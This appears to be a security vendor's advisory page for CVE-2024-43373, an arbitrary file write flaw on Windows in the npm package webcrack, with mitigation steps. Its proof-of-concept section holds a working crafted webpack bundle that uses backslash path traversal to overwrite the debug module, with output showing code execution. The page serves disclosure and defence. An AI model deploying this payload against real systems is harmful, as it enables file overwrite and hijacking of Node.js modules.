CVE-2024-43373 is a high-severity (CVSS 7.7) Improper Input Validation vulnerability in webcrack. 1 public exploit reference exists, so weaponization risk is real. A fix is available for webcrack — see the affected versions and patch details below.
webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-43373.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-43373 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
webcracknpmDescription
Summary
An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.
Details
Source: packages/webcrack/src/unpack/bundle.ts#L79
import { posix } from 'node:path';
import type { Module } from './module';
// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;
/* ... snip ... */
const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
recursive: true
});
await writeFile(modulePath, module.code, 'utf8');
In this code, the application explicitly relies on the POSIX version of path utilities (dirname, join, normalize) from Node.js. However, the vulnerability arises because the POSIX version of the normalize function does not recognize \ as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.
PoC
The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the debug module in Node.js:
Malicious Script (what.js):
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = (n[r] = {
i: r,
l: false,
exports: {},
});
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = '';
o((o.s = 386));
})({
'./\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
module.exports = () => console.log("pwned")
},
});
Webcrack Script (index.js):
import fs from 'fs';
import { webcrack } from 'webcrack';
const input = fs.readFileSync('what.js', 'utf8');
const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');
Execution:
Running the above script with node index.js twice results in the following output being printed to the terminal:
PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = n[r] = {
i: r,
l: false,
exports: {}
};
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = "";
o(o.s = 386);
})({
"./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
module.exports = () => console.log("pwned");
}
});
WebpackBundle {
type: 'webpack',
entryId: '386',
modules: Map(1) {
'./\\..\\node_modules\\debug\\src\\index' => WebpackModule {
id: './\\..\\node_modules\\debug\\src\\index',
isEntry: false,
path: '././\\..\\node_modules\\debug\\src\\index.js',
ast: [Object]
}
}
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
if (options.log) logger(`${name}: started`);
^
TypeError: logger is not a function
at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
at async file:///C:/Webcrack/index.js:6:16
Node.js v18.16.0
This demonstrates that the debug module was successfully overwritten and hijacked to print pwned to the console, confirming the arbitrary file write vulnerability has lead to code execution.
Impact
This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | webcrack | all versions | 2.14.1npm install webcrack@2.14.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for webcrack, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update webcrack to 2.14.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-43373 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-43373 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-43373. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-43373 in your dependencies?
O3 Security finds CVE-2024-43373 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.